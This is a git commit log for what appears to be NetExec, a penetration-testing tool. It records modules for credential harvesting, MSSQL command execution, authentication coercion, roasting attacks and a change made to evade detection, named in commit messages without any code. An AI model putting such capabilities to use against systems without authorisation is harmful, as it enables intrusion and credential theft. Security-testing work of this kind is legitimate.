XiaoliChan 1b7dbe3ba1 [SMB] Allow force to use smbv2
Signed-off-by: XiaoliChan <[email protected]>
2024-12-27 01:32:41 +08:00
Alex 32b20cdc22 Merge pull request #522 from Pennyw0rth/neff-fix-514 2024-12-26 16:21:44 +01:00
Alexander Neff c0e618fe41 Fix #514 2024-12-26 08:53:11 -05:00
Alex 14c295923f Merge pull request #520 from lodos2005/patch-2
Rename ldapConnection to the new ldap_connection var #508 #4767762 - Fix Modules
2024-12-26 14:31:41 +01:00
Hakan Yavuz bb378830b3 Rename ldapConnection to the new ldap_connection var #508 #4767762 2024-12-25 13:50:02 +03:00
Alex 07980ea486 Merge pull request #516 from Pennyw0rth/neff-improve-enum_links
Add a query for the linked server config if we are local admin
2024-12-21 15:48:03 +01:00
Alexander Neff 2a98a9255e Add a query for the linked server config if we are local admin 2024-12-21 09:42:32 -05:00
Alex bc2bc32797 Merge pull request #515 from Pennyw0rth/neff-patch-1
Change error to fail message
2024-12-21 15:23:18 +01:00
Alexander Neff 2afb383cdf Change error to fail message 2024-12-21 08:36:55 -05:00
Alex 1e583a066f Merge pull request #368 from Yeeb1/module_snipped
Add new SMB module to download Screenshots created by Snipping Tool
2024-12-21 13:22:10 +01:00
FaganAfandiyev 50d551df54 Comment updates 2024-12-19 23:15:57 -05:00
FaganAfandiyev 70a5e053fc Updated version of change-password module with ruff changes 2024-12-19 23:13:15 -05:00
Alexander Neff 930f045190 Changing logging output 2024-12-19 08:28:27 -05:00
mpgn 4de3126672 Merge pull request #511 from Pennyw0rth/fix_ldap_trust
fix trust relation for ldap
2024-12-19 13:03:11 +01:00
mpgn 73ce6d773f fix trust relation for ldap 2024-12-19 13:55:59 +01:00
mpgn ecd3fcd255 Merge pull request #508 from Pennyw0rth/ldap_wt_smb
Remove smb from ldap proto
2024-12-19 09:15:32 +01:00
mpgn d05aeb5631 Merge pull request #510 from Pennyw0rth/fix_kerberos_trust
fix trust relation for smb
2024-12-19 09:15:20 +01:00
mpgn ea7e0925a1 fix trust relation for smb 2024-12-19 02:28:26 +01:00
Alexander Neff 4767762939 Rename ldapConnection to the new ldap_connection var 2024-12-18 17:31:25 -05:00
mpgn 4a8e702f24 fix hostname 2024-12-18 23:42:25 +01:00
mpgn 1c55fd806a fix ruff 2024-12-18 23:05:52 +01:00
mpgn 02981b187e Remove smb from ldap proto 2024-12-18 23:01:38 +01:00
mpgn 100a878a2c Merge pull request #509 from Mortimus/patch-1
Update pyproject.toml to add missing dependency for wam module
2024-12-18 22:45:30 +01:00
mpgn 59e091ba34 add poetry.lock 2024-12-19 02:37:06 +01:00
Randall Stroup 0b2ffca913 Update pyproject.toml
Updated missing dependency for wam module

Signed-off-by: Randall Stroup <[email protected]>
2024-12-18 14:31:45 -06:00
mpgn 2e1f225859 Merge pull request #506 from Pennyw0rth/ruff
fix ruff
2024-12-18 00:01:19 +01:00
mpgn 4c9db0a377 fix ruff 2024-12-17 21:18:57 +01:00
mpgn 277a78c29c Merge branch 'main' into ruff 2024-12-17 21:15:03 +01:00
mpgn a284b00678 Merge pull request #415 from deathflamingo/main
Added new modules for mssql- namely enum_impersonate, enum_logins,, enum_links, exec_on_link, link_enable_xp, link_xpcmd
2024-12-17 21:13:50 +01:00
mpgn cb44d09df7 fix ruff 2024-12-17 21:08:00 +01:00
mpgn fb369f05b6 Merge pull request #444 from Dfte/SMB]-Add-the-Notepad++-module
[SMB] Add the Notepad++ module
2024-12-17 19:02:20 +01:00
mpgn 278124f289 Merge pull request #451 from Dfte/SMB]-Rework-the-runasppl-module
[SMB] Rework the runasppl module
2024-12-17 18:51:15 +01:00
mpgn 0ff19ac09e Merge pull request #465 from Dfte/Add---shadowrdp-module
Add the shadow RDP module
2024-12-17 18:50:54 +01:00
mpgn 87e383fda5 Merge branch 'main' into Add---shadowrdp-module 2024-12-17 18:48:13 +01:00
mpgn 65e2b3f7a9 Merge pull request #449 from Dfte/SMB]-Powershell-history-module-rework
[SMB] Powershell history module rework
2024-12-17 18:47:13 +01:00
mpgn 25fd5c193a Merge branch 'main' into Add---shadowrdp-module 2024-12-17 18:46:42 +01:00
termanix a9ef92be9b Merge branch 'Pennyw0rth:main' into patch-8 2024-12-17 11:41:44 -05:00
mpgn aa68664ba5 Merge branch 'main' into SMB]-Rework-the-runasppl-module
Signed-off-by: mpgn <[email protected]>
2024-12-17 16:42:08 +01:00
mpgn 9e3ea172ad Merge branch 'main' into SMB]-Powershell-history-module-rework 2024-12-17 16:26:47 +01:00
mpgn fad01c8175 Merge branch 'main' into SMB]-Add---qwinsta-and---tasklist-options
Signed-off-by: mpgn <[email protected]>
2024-12-17 16:17:16 +01:00
mpgn c9ce989b43 Merge pull request #491 from Pennyw0rth/dploot_upgrade
Upgrade dploot to 3.0.3
2024-12-16 22:22:15 +01:00
mpgn 52da03ec1b Merge branch 'main' into dploot_upgrade 2024-12-16 22:08:03 +01:00
mpgn 4516401d15 Merge pull request #456 from lodos2005/patch-1
Add mssql_coerce Module
2024-12-16 22:03:44 +01:00
mpgn 706da13ef8 Merge branch 'main' into dploot_upgrade 2024-12-16 22:03:32 +01:00
mpgn 69715850dc Merge branch 'main' into patch-1 2024-12-16 22:01:36 +01:00
mpgn d32080e507 fix py missing 2024-12-16 21:56:58 +01:00
mpgn 051fa81da4 Merge pull request #492 from Adamkadaban/mssql-rid-brute
Add rid-brute flag to mssql protocol
2024-12-16 21:48:37 +01:00
mpgn 07c15cd413 Merge branch 'main' into mssql-rid-brute 2024-12-16 21:37:34 +01:00
Alex 95b1af5a16 Merge pull request #503 from Pennyw0rth/neff-add-basedn
Add baseDN flag to ldap
2024-12-11 13:13:13 +01:00
Alex dcb3bbd025 Merge pull request #500 from MaxToffy/fix-daclread
Fix TARGET_DN object query
2024-12-11 13:12:59 +01:00
Alexander Neff 9997091980 Add baseDN option for other search queries 2024-12-10 18:29:14 -05:00
Alexander Neff c4671a2c17 Add base-dn options for ldap to fix stuff like #500 2024-12-10 18:27:12 -05:00
Alex 3a446436a0 Merge pull request #502 from lap1nou/fix-nla-screen
Fix RDP '--nla-screenshot' option
2024-12-10 23:50:40 +01:00
Alexander Neff 55c4cfd219 Add log message and use NXC_PATH var 2024-12-10 17:42:38 -05:00
lapinou 8a55f22dc0 Update rdp.py
Signed-off-by: lapinou <[email protected]>
2024-12-10 19:31:17 +01:00
lapinou 5174ce4a6b Update rdp.py
Signed-off-by: lapinou <[email protected]>
2024-12-09 23:09:12 +01:00
lapinou 74eb4cbcc8 Update rdp.py
Signed-off-by: lapinou <[email protected]>
2024-12-09 22:35:02 +01:00
Alex 2c5037f0ab Merge pull request #499 from Joytide/spiderplus-ext-fix
Bugfix: file extension filter of spiderplus was misleading/broken
2024-12-05 13:05:49 +01:00
Joytide bed186712d Merge pull request #1 from termanix/patch-9
Update spider_plus.py for both with and without dots
2024-12-05 11:34:09 +01:00
termanix 3ca3481270 Update spider_plus.py for both with and without dots
Signed-off-by: termanix <[email protected]>
2024-12-05 00:38:41 +02:00
MaxToffy bd50a585a1 Fix TARGET_DN object query
Signed-off-by: MaxToffy <[email protected]>
2024-12-04 11:12:15 +01:00
Joytide af8001591c Bugfix: file extension filter of spiderplus was misleading 2024-12-03 10:53:36 +01:00
Alex 24135483e2 Merge pull request #311 from Disgame/timeroast_module
Timeroast module
2024-12-01 14:37:45 +01:00
Alex d7d7505fa1 Merge branch 'main' into timeroast_module 2024-11-30 12:36:10 +01:00
Alex 45db7e67aa Merge pull request #498 from Pennyw0rth/neff-bug-fixes
Speed improvements and bug fixes
2024-11-30 00:21:00 +01:00
Alex 7b7f4b2475 Merge branch 'main' into timeroast_module 2024-11-29 01:12:57 +01:00
Alexander Neff b9f52fdd4b Formating 2024-11-28 19:00:54 -05:00
Alexander Neff 410e040a28 Don't print an index error with null session, we won't have null user in the db 2024-11-28 19:00:45 -05:00
Alexander Neff 9644cae865 Simplify logging 2024-11-28 18:43:23 -05:00
Alexander Neff 9e024582a4 Add timeout check, to not double check a non existent host 2024-11-28 18:41:10 -05:00
Alexander Neff 8dabb3d0e6 Remove formatter that strips out escape sequence, as already done by Text.from_ansi 2024-11-28 18:27:59 -05:00
Alexander Neff 9d558d95db Remove unnecessary exception info which results in double logs, caused by kwargs passed as exc_info in log record 2024-11-28 17:31:50 -05:00
Alex e19868ecb3 Merge pull request #495 from Pennyw0rth/neff-update-impacket
Update impacket so ldaps channel binding is supported
2024-11-25 22:13:24 +01:00
Alexander Neff 4f10c0b45a Update impacket so ldaps channel binding is supported 2024-11-25 15:49:42 -05:00
Yeeb1 af512f1e6b Modifed Snipped Module 2024-11-24 11:55:39 +00:00
Yeeb1 54fea6358e Created the Snipped SMB Module 2024-11-24 10:33:19 +00:00
Yeeb1 4693d2118e Ran ruff 2024-11-24 10:07:57 +00:00
Yeeb1 cee469bd22 Created gpp_privileges module 2024-11-24 10:03:41 +00:00
Adamkadaban b4b6714125 remove extra newline for better formatting 2024-11-23 21:28:53 -05:00
Adamkadaban 977a3d60a3 add error checking for when not on a domain-joined machine 2024-11-23 15:54:48 -05:00
Adamkadaban b76c848767 comment code 2024-11-23 15:52:05 -05:00
Adamkadaban 07554152db add e2e test 2024-11-23 15:47:45 -05:00
Adamkadaban 6534a4592b remove sid type. unsure if there is any way to query this 2024-11-23 15:34:57 -05:00
Adamkadaban 3b58928ab2 add batch query 2024-11-23 15:28:57 -05:00
Adamkadaban 9b5317c234 add rid-brute argument for mssql 2024-11-23 15:20:24 -05:00
Adamkadaban 29e239469e add initial poc 2024-11-23 15:20:13 -05:00
zblurx 2efaafaf92 update poetry.lock 2024-11-22 17:33:10 +01:00
zblurx 0f98d92340 Upgrade dploot to 3.0.3 2024-11-22 17:18:21 +01:00
termanix 8439d4f9cf Merge branch 'Pennyw0rth:main' into patch-8 2024-11-16 10:05:50 -05:00
Alex 05ad3c6bc4 Merge pull request #488 from TheToddLuci0/add_null_domain_flag
Allow for empty domains
2024-11-15 19:17:54 -05:00
Alex 77e1f88d5b Merge pull request #380 from nikaiw/add_ioxidresolver_option
add an option to ioxidresolver to get only IP values different than targets
2024-11-15 19:06:13 -05:00
Alexander Neff c64cf0a93a Fix module options and rstrip to remove trailing null byte 2024-11-15 18:56:12 -05:00
TheToddLuci0 743076acd3 Allow for empty domains 2024-11-15 17:53:15 -06:00
Alex b3872600e9 Merge pull request #438 from snowpeacock/fix_module_execution_method
Bugfix : exec-method specified in module file is not used
2024-11-15 17:25:17 -05:00
Alexander Neff dca1d088c3 Merge branch 'main' into fix-exec-method 2024-11-15 17:22:04 -05:00
Alex 0da04ddb20 Merge pull request #381 from termanix/FindDelegation
New LDAP Flag Find Delegation
2024-11-14 15:09:32 -05:00
Alexander Neff f5d5a1b4fe Use imported constants instead of redefining 2024-11-14 14:10:13 -05:00
Alexander Neff bac7a34285 Removing disabled account checks, these are already filtered by the ldap query 2024-11-14 06:46:50 -05:00
Alexander Neff 573eb60002 Small formating changes 2024-11-14 06:40:07 -05:00
Alexander Neff 0fc09fae53 Filter only unconstrained delegation on DCs 2024-11-14 06:29:12 -05:00
Alexander Neff 496b002ad2 Remove check for sAMAccountName, there should always be one 2024-11-14 06:22:38 -05:00
Alex 2235050f60 Merge pull request #487 from Pennyw0rth/neff-fix-veeam-output
Fix veeam output
2024-11-13 08:44:34 -05:00
Alexander Neff 3fff8b1721 Remove weird header in PR template 2024-11-13 08:25:58 -05:00
Alexander Neff 620f4208b4 Fix veeam output 2024-11-13 08:23:40 -05:00
Alex dbd20cb72a Merge pull request #481 from Kahvi-0/main
schtask_as - Delete task when there is an error
2024-11-12 17:02:44 -05:00
Alex 08b486da5c Merge pull request #482 from Pennyw0rth/hosts_file
Add option to generate hosts file for smb proto to first blood more quickly on htb
2024-11-12 17:02:00 -05:00
Alex cd75a4c5e9 Merge pull request #486 from j-mie/fix-nmap-parser-ftp
Fix nmap XML parser when looking for ftp service
2024-11-12 16:55:17 -05:00
Jamie Hankins 3358f77d22 Add support for WMI and NFS in nmap XML parser 2024-11-12 17:40:39 +00:00
Jamie Hankins 7586145d24 Fix nmap XML parser when looking for ftp service 2024-11-12 17:08:52 +00:00
termanix 627bc5ee18 dns-resolver object change with the nxc/connection.py 2024-11-11 14:48:21 -05:00
termanix bb11d413cd Merge branch 'Pennyw0rth:main' into patch-8 2024-11-11 12:09:00 -05:00
Alexander Neff 801420da75 As the scheduled task now triggers on registration we remove manuel execution because this would try to run the task twice 2024-11-11 11:19:31 -05:00
Alexander Neff 14ccdfc63c Suprress task deletion errors and ensure only one error message is printed 2024-11-11 11:05:35 -05:00
Alexander Neff 33f3f7c449 Remove global variable 2024-11-11 08:59:10 -05:00
Alexander Neff 64f0f78ed3 Remove useless code and formating 2024-11-11 08:38:44 -05:00
Alexander Neff 94c2884c5f Update atexec.py to prevent detectino with hardcoded timestamp 2024-11-10 18:29:18 -05:00
Alexander Neff ab579b3d45 Change Trigger to type RegistrationTrigger and add end boundary to prevent execution after some time if something fails, see #481 2024-11-10 18:26:11 -05:00
termanix a70e3b8c6b removed SERVER_TRUST_ACCOUNT for see rbcd to DCs 2024-11-09 11:27:04 -05:00
termanix ef0ca60c39 mustcommit variable remove 2024-11-08 01:53:22 -05:00
mpgn d9982b486d Merge branch 'main' into hosts_file 2024-11-07 15:24:00 +01:00
Alex 72fee6af49 Merge pull request #405 from 0xQRx/mssql-xp-shell-add-check
Mssql xp_cmdshell added "is enabled" check
2024-11-06 23:25:02 +01:00
Alexander Neff c012e04ecf Add backup&restore options for mssql options, to keep the current state of the mssql config 2024-11-06 16:34:41 -05:00
mpgn e78b05adad Merge branch 'main' into hosts_file 2024-11-06 15:13:02 +01:00
Alex a83c412062 Merge pull request #462 from y0no/smb_add_enum_shares
[SMB] Add --enum-shares options like in NFS protocol
2024-11-06 12:30:38 +01:00
Alexander Neff 92c4f014a6 Add ruff exception for function name "dir" 2024-11-06 06:24:36 -05:00
Alexander Neff fd378f6675 Removing unnecessary check 2024-11-06 06:21:41 -05:00
mpgn d4808ac9e9 check if target is dc 2024-11-04 14:41:43 +01:00
mpgn 864b7aeed3 fix proto help 2024-11-03 22:17:57 +01:00
mpgn c294219b7a add tests 2024-11-03 22:08:51 +01:00
mpgn 841f9d8fd0 add generate_hosts_file option for lab 2024-11-03 22:02:51 +01:00
Kahvi-0xFF bab8acbf4d Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2024-10-31 19:18:16 -04:00
Kahvi-0xFF dc61428a0e Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2024-10-31 19:04:16 -04:00
Kahvi-0xFF 9c17cf9bb2 Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2024-10-31 19:02:50 -04:00
Kahvi-0xFF c66ab1af61 schtask_as.py - Delete task when there is an error
Signed-off-by: Kahvi-0xFF <[email protected]>
2024-10-31 18:42:34 -04:00
termanix 26391a3370 Update variables
Signed-off-by: termanix <[email protected]>
2024-10-28 21:58:53 +02:00
termanix 85600e66b4 Update admin-count parse_result_attributes
Signed-off-by: termanix <[email protected]>
2024-10-28 21:35:00 +02:00
termanix 2f17bb27b3 Update password-not-required parse_result_attributes
Signed-off-by: termanix <[email protected]>
2024-10-28 20:59:43 +02:00
termanix c96b703bd7 Update trusted-for-delegation parse_result_attributes
Signed-off-by: termanix <[email protected]>
2024-10-28 20:58:39 +02:00
termanix ec09a5a35b Update query parse_result_attributes
Signed-off-by: termanix <[email protected]>
2024-10-28 20:46:35 +02:00
termanix 7b4f5ea65f Update kerberoasting parse_result_attributes
Signed-off-by: termanix <[email protected]>
2024-10-28 20:15:12 +02:00
termanix 78063a0308 Update asreproast parse_result_attributes
Signed-off-by: termanix <[email protected]>
2024-10-28 20:01:11 +02:00
termanix 9889414c2e Update groups parse_result_attributes
Signed-off-by: termanix <[email protected]>
2024-10-28 19:59:52 +02:00
termanix 415af7e613 Merge branch 'main' into patch-7 2024-10-28 19:13:17 +03:00
termanix 3d186ec434 Update check_if_admin parse_result_attributes
Signed-off-by: termanix <[email protected]>
2024-10-28 18:10:38 +02:00
termanix 92c892fd41 Update dc-list
Signed-off-by: termanix <[email protected]>
2024-10-28 15:57:47 +02:00
Alex 78da498846 Merge pull request #474 from Pennyw0rth/marshall-nfs-status13-fix 2024-10-28 00:23:18 +01:00
Alexander Neff 1b495cd372 Use the status codes defined in the rfc when we have an error with mounting shares 2024-10-23 17:56:57 -04:00
Marshall Hallenbeck 9e6ba5a4c0 fix: check if status is 13 and print out permission denied for share 2024-10-23 15:59:39 -04:00
Alex 3e5d825852 Merge pull request #473 from Pennyw0rth/neff-code-improvements 2024-10-23 11:29:39 +02:00
Alex 6f7c4dbc1a Merge branch 'main' into neff-code-improvements 2024-10-22 22:22:49 +02:00
Alex 110f61bc3b Merge pull request #460 from Pennyw0rth/neff-drop-py-support
Drop support for Python 3.8 and 3.9
2024-10-22 22:22:38 +02:00
Alexander Neff a382fbd492 Execute should always return a string not a list 2024-10-22 15:40:49 -04:00
Alexander Neff b5e9f1f069 Replace False return values with empty list to prevent crashes 2024-10-22 15:34:21 -04:00
Alexander Neff 7f3233008d Replace None/False return values with empty list to prevent crashes 2024-10-22 15:27:23 -04:00
termanix 496ea65394 Updated get_ldap_info with parse_result_attributes
Signed-off-by: termanix <[email protected]>
2024-10-22 21:38:01 +03:00
Alexander Neff 8e421046d1 Remove obsolete code 2024-10-22 11:44:28 -04:00
Alexander Neff 623bfd9fe2 Fix linting 2024-10-22 10:32:34 -04:00
Alexander Neff cc659638c8 Merge branch 'main' into neff-drop-py-support 2024-10-22 10:32:13 -04:00
termanix 4627d0a119 Update for parse_result_attributes
Signed-off-by: termanix <[email protected]>
2024-10-21 22:11:42 +03:00
termanix a1bb4ee0df update ldap_results for now 2024-10-21 22:05:51 +03:00
termanix f4617f6436 removed unused timedelta
Signed-off-by: termanix <[email protected]>
2024-10-21 22:02:05 +03:00
termanix 6e2b050d33 Merge branch 'main' into patch-6 2024-10-21 21:59:29 +03:00
termanix d212ae7c2d Updated as Neff's review
Signed-off-by: termanix <[email protected]>
2024-10-21 21:55:46 +03:00
Alex d6e77d19c6 Merge pull request #470 from Chocapikk/main
FIX `a bytes-like object is required, not str` in `nxc/protocols/smb.py`
2024-10-20 23:28:10 +02:00
Chocapikk 536cede147 Add comment 2024-10-20 19:55:46 +02:00
Chocapikk d4a17c00a0 FIX a bytes-like object is required, not str 2024-10-20 17:08:23 +02:00
y0no 2bf95cc899 Move from --enum-share to --dir 2024-10-19 11:24:38 +02:00
Alex c312367b34 Merge pull request #466 from haytechy/main
Fixed issue with --options flag
2024-10-19 02:27:24 +02:00
Alexander Neff 5b48d68afb Remove unused import 2024-10-18 20:27:09 -04:00
Alexander Neff e2bec64be2 Hotfix if msDS-AllowedToActOnBehalfOfOtherIdentity has an empty security descriptor 2024-10-18 20:21:28 -04:00
Alexander Neff c2fe271738 Fix ldap result parsing minor code improvements 2024-10-18 20:20:27 -04:00
Alexander Neff fa8d5d5299 Merge branch 'main' into find-delegate 2024-10-18 16:57:51 -04:00
haytehcy 5bcf955bb3 Fixed issue with --options flag 2024-10-18 21:02:32 +01:00
termanix 6e59002b6f Edit_ldarp_parser 2024-10-18 16:48:15 +03:00
termanix 5b14c3f999 Used parse_result_attributes for parsing RBCD too
Signed-off-by: termanix <[email protected]>
2024-10-18 16:39:04 +03:00
termanix 29de0ccf34 Used parse_result_attributes for parsing
Signed-off-by: termanix <[email protected]>
2024-10-18 16:26:16 +03:00
Deft_ 6dcc0cf2d3 Create shadowrdp.py
Signed-off-by: Deft_ <[email protected]>
2024-10-17 13:47:32 +02:00
Deft_ f6436fd9ba Create remoteuac.py
Signed-off-by: Deft_ <[email protected]>
2024-10-17 13:33:49 +02:00
Deft_ 899c516a75 Update recyclebin.py
Signed-off-by: Deft_ <[email protected]>
2024-10-16 20:16:36 +02:00
Deft_ bc26a1b222 [SMB] Rework --spider and add recyclebin.py module 2024-10-16 18:21:06 +02:00
y0no c3f10eff87 Add --enum-shares options to SMB protocol 2024-10-16 18:02:13 +02:00
Alexander Neff 46cd610fb0 Update README to support py3.10+ 2024-10-16 07:39:08 -04:00
Alexander Neff 7e90ad2c0f Revert 8485417358 2024-10-16 07:36:33 -04:00
Alexander Neff ed0b03917e Update github workflows 2024-10-16 07:32:33 -04:00
Alexander Neff 6564038d51 Moving the PR template hoping that it now get recognized by gh 2024-10-16 07:29:14 -04:00
Alexander Neff 743a84dbe6 Update dependencies 2024-10-16 07:20:32 -04:00
Alexander Neff 4612df869e Drop python 3.8 and 3.9 support 2024-10-16 07:17:05 -04:00
Alex ae4317c955 Merge pull request #458 from Hackndo/patch-1 2024-10-16 13:05:14 +02:00
Pixis a798bb69c2 Update runasppl.py
`execute()` method of `smb` class returns False if an error occurred.
https://github.com/Pennyw0rth/NetExec/blob/main/nxc/protocols/smb.py#L766

If so, the current code fails as `False` is not iterable.

This fix will check if `p` is not `False` before checking the error message in `p` 

Signed-off-by: Pixis <[email protected]>
2024-10-16 11:25:40 +02:00
Hakan Yavuz bf3973068b add mssql_coerce Module
Signed-off-by: Hakan Yavuz <[email protected]>
2024-10-16 08:48:45 +03:00
Brian Giraldo 991673f095 New module that searches for files that contain aws credentials on windows and linux systems. 2024-10-15 23:24:55 -05:00
Deft_ 821741a789 Update notepad++.py
Signed-off-by: Deft_ <[email protected]>
2024-10-15 20:05:45 +02:00
Deft_ 5a364f7929 Minor code optimization
Signed-off-by: Deft_ <[email protected]>
2024-10-15 20:04:27 +02:00
Deft_ 581d5c600a Remove (little) unecessary code
Signed-off-by: Deft_ <[email protected]>
2024-10-15 20:03:02 +02:00
Deft_ a140c9479c Minor code optimization
Signed-off-by: Deft_ <[email protected]>
2024-10-15 19:59:22 +02:00
Hakan Yavuz e8830121e5 Get Two event with Single RPC call
Signed-off-by: Hakan Yavuz <[email protected]>
2024-10-15 16:39:18 +03:00
Hakan Yavuz 88e02f42cb Update eventlog_creds.py
fix for linter, spaces

Signed-off-by: Hakan Yavuz <[email protected]>
2024-10-15 01:25:24 +03:00
Hakan Yavuz c48ff38dbc Update eventlog_creds.py
add rpc method, 

Signed-off-by: Hakan Yavuz <[email protected]>
2024-10-15 01:15:51 +03:00
Hakan Yavuz efc143224b Create even6_parser.py
Signed-off-by: Hakan Yavuz <[email protected]>
2024-10-15 01:14:59 +03:00
0xQRx 2a724d3cd3 Merge branch 'main' into mssql-xp-shell-add-check 2024-10-13 19:48:37 -04:00
Hakan Yavuz d2ffe24b15 Update eventlog_creds.py
fix for lint

Signed-off-by: Hakan Yavuz <[email protected]>
2024-10-14 01:16:32 +03:00
Hakan Yavuz 57fdac1c93 Update eventlog_creds.py
Signed-off-by: Hakan Yavuz <[email protected]>
2024-10-14 01:02:29 +03:00
Hakan Yavuz 2ebc410cb7 Create eventlog_creds.py
add new module

Signed-off-by: Hakan Yavuz <[email protected]>
2024-10-14 00:50:15 +03:00
Alex 6d4fdfdb2d Merge pull request #448 from Pennyw0rth/v1.3.0
Release v1.3.0
2024-10-13 22:02:56 +02:00
Deft_ 3c197634b2 Delete nxc/modules/recent_files.py (clownface)
Signed-off-by: Deft_ <[email protected]>
2024-10-13 21:52:19 +02:00
Deft_ 26e08ca6a0 Update runasppl.py
Signed-off-by: Deft_ <[email protected]>
2024-10-13 17:27:37 +02:00
Deft_ dadad0e3f8 Create recent_files.py
Signed-off-by: Deft_ <[email protected]>
2024-10-12 20:25:53 +02:00
Deft_ 29329bfee2 Update and rename Notepad++.py to notepad++.py
Signed-off-by: Deft_ <[email protected]>
2024-10-12 19:16:01 +02:00
Deft_ 807e47200d [SMB] Powershell history module rework
Signed-off-by: Deft_ <[email protected]>
2024-10-12 18:46:22 +02:00
Alexander Neff a493c04e14 Release v1.3.0 2024-10-12 10:51:58 -04:00
Alex 485f72043e Merge pull request #446 from Pennyw0rth/fix-windows
Fix windows and encoding stuff
2024-10-12 16:17:58 +02:00
Alex 9e61764282 Merge pull request #447 from Pennyw0rth/neff-fix-loading-modules
Fix module loading for ssh, vnc and ftp
2024-10-12 16:12:16 +02:00
Alexander Neff 8211c33765 Fix module loading for ssh, vnc and ftp 2024-10-12 09:24:18 -04:00
Alex 8485417358 Removing unsupported option in py3.8 2024-10-12 15:07:35 +02:00
Alex c7164b6c3f Formating 2024-10-12 02:29:16 +02:00
Alex e583d5fbed Fix encoding for ldap results 2024-10-12 02:26:25 +02:00
Alex 15f84fd93d Fix encoding errors for log files etc when using non windows characters 2024-10-12 02:24:46 +02:00
Alex c2130aa67f Fix import errors for static binary 2024-10-12 02:23:41 +02:00
Deft_ cc5016f75a [SMB]
Signed-off-by: Deft_ <[email protected]>
2024-10-11 16:55:31 +02:00
Deft_ a804041140 [SMB] Add the --qwinsta and --tasklist options
Signed-off-by: Deft_ <[email protected]>
2024-10-11 16:52:45 +02:00
Deft_ ebb4d3e405 [SMB] Add the
Signed-off-by: Deft_ <[email protected]>
2024-10-11 16:52:04 +02:00
Deft_ f419884249 Create Notepad++.py
Signed-off-by: Deft_ <[email protected]>
2024-10-11 16:47:47 +02:00
Alex 95ac3716d7 Merge pull request #440 from ledrypotato/fix-NFS-get-large-file
Updated the  --get-file method to get large files from NFS shares
2024-10-11 00:07:41 +02:00
Alex c1f7ed3310 Merge branch 'main' into fix-NFS-get-large-file 2024-10-11 00:01:58 +02:00
Alexander Neff a0e0df2394 Remove unused variable 2024-10-10 18:01:04 -04:00
Alexander Neff 94605f18e7 Write pulled data directly to the file instead of caching it 2024-10-10 18:00:52 -04:00
Alex d61eec0146 Merge pull request #442 from Pennyw0rth/neff-improve-coerce_plus
Small fixes for coerce_plus
2024-10-10 23:51:29 +02:00
Alex b59d8238f5 Merge pull request #400 from dazzgt/bugfix/db-interface-error
refactoring to fix InterfaceError of DB
2024-10-10 23:51:04 +02:00
Alexander Neff 83a16b654b Fix PrinterBug detection 2024-10-10 17:40:13 -04:00
Alexander Neff 3ce7b6b37a Readd rpc message to success message 2024-10-10 17:39:58 -04:00
Alexander Neff b81ea6cb3a Simplify code 2024-10-10 15:25:00 -04:00
Alexander Neff a7141ae6f3 Improve handling of rpc errors for dfscoerce 2024-10-10 15:18:09 -04:00
Alex 0da4cf8455 Merge pull request #300 from lodos2005/main
Add coerce_plus Module
2024-10-10 13:24:54 +02:00
Matt Taylor e4a9352379 clean file size + implement EOF file read 2024-10-10 12:27:18 +02:00
termanix 4a47550d94 Update users and active-users ldap.py
Signed-off-by: termanix <[email protected]>
2024-10-09 23:40:02 +03:00
ledrypotato 7a86d0f045 update get-file method to get large files 2024-10-09 16:50:10 +02:00
snowpeacock aa9075e35c fix: override of exec method by default arg 2024-10-07 16:36:00 +02:00
termanix 7db7de4f1e Update ldap.py.
Added processAttributeValue Function
A new helper function was introduced to process the content of LDAP AttributeValue objects.

Updated printTable Function

Resource-Based Constrained Delegation Processing

Added Constant Variables
Constant variables were defined for userAccountControl values.

Modular Code Structure
The overall structure was made more modular; functions were clearly separated for better readability.

Signed-off-by: termanix <[email protected]>
2024-10-07 10:17:21 +03:00
Alexander Neff dadeff939d Fix NFS database to usethe new super class 2024-10-06 15:29:15 -04:00
Alexander Neff a3bc425e9f Fix merging error 2024-10-06 15:28:34 -04:00
Alex c1780a1a26 Merge pull request #411 from Pennyw0rth/neff-improve-login
Increase plaintext&hash login speeds
2024-10-06 21:20:05 +02:00
Alexander Neff 50a5b6b0de Merge branch 'main' into fix-dbs 2024-10-06 13:01:34 -04:00
Alexander Neff a4ad6895c1 Formating 2024-10-06 11:26:50 -04:00
Alex 43da2afa58 Merge pull request #435 from Pennyw0rth/neff-improve-testsuite
Improve test suite
2024-10-05 21:55:40 +02:00
Alexander Neff c1589955fd Add 2 error codes that shows a successful coercion 2024-10-05 12:21:59 -04:00
Alexander Neff 5a0f1a5a6a Change help message from NFS to get in line with other protocols 2024-10-05 09:18:15 -04:00
Alexander Neff 0dcfc7399b Add an option to show commands that produced no output as "not tested" 2024-10-04 17:07:28 -04:00
Alexander Neff 567b2bf7cc Fix spelling which prevented commands to be run by the test suite 2024-10-04 17:06:51 -04:00
Alexander Neff ed0187391c Remove domain from not implemented plaintext login to fix protocols with no auth and no domain 2024-10-04 17:06:26 -04:00
Alex 092a14f1fe Merge pull request #434 from Pennyw0rth/neff-fix-pwned-label
Fix pwned label when brute forcing with guest account enabled
2024-10-04 22:55:00 +02:00
Alexander Neff 6fa13820dc Fix pwned label when brute forcing with guest account enabled 2024-10-04 16:22:37 -04:00
Alexander Neff 85b2b6e084 Add --use-kcache to commands that require a new conn object 2024-10-04 16:11:02 -04:00
Alex 754ca2d423 Merge pull request #404 from tiyeuse/main
Add file write check on smb
2024-10-04 17:43:00 +02:00
Alexander Neff f17a61f531 Change write privs of a share to True if we can either create a file OR a directory 2024-10-04 11:34:52 -04:00
Alex e1c66357d6 Merge pull request #433 from Pennyw0rth/neff-fix-database-creation
Fix a bug with the databases when a new protocol is added
2024-10-04 17:13:28 +02:00
Alexander Neff c2dfa67c6c Fix a bug with the databases when a new protocol is added 2024-10-04 10:58:59 -04:00
Alex 27313a00b6 Merge pull request #366 from termanix/NFS-Protocol
New Protocol NFS
2024-10-03 16:10:55 +02:00
Alexander Neff 90cc0e57d7 Formating 2024-10-02 17:56:27 -04:00
Pavel Redyukov 7729139d10 Merge branch 'main' into bugfix/db-interface-error 2024-10-02 14:10:26 +03:00
termanix 41681ee1cb Fixed put-file
Signed-off-by: termanix <[email protected]>
2024-10-02 13:43:42 +03:00
termanix bbb9d15e66 e2e editted
Signed-off-by: termanix <[email protected]>
2024-10-02 09:11:42 +03:00
Alexander Neff 4ea4b5f961 Merge "main" into "NFS-Protocol" 2024-10-01 18:14:44 -04:00
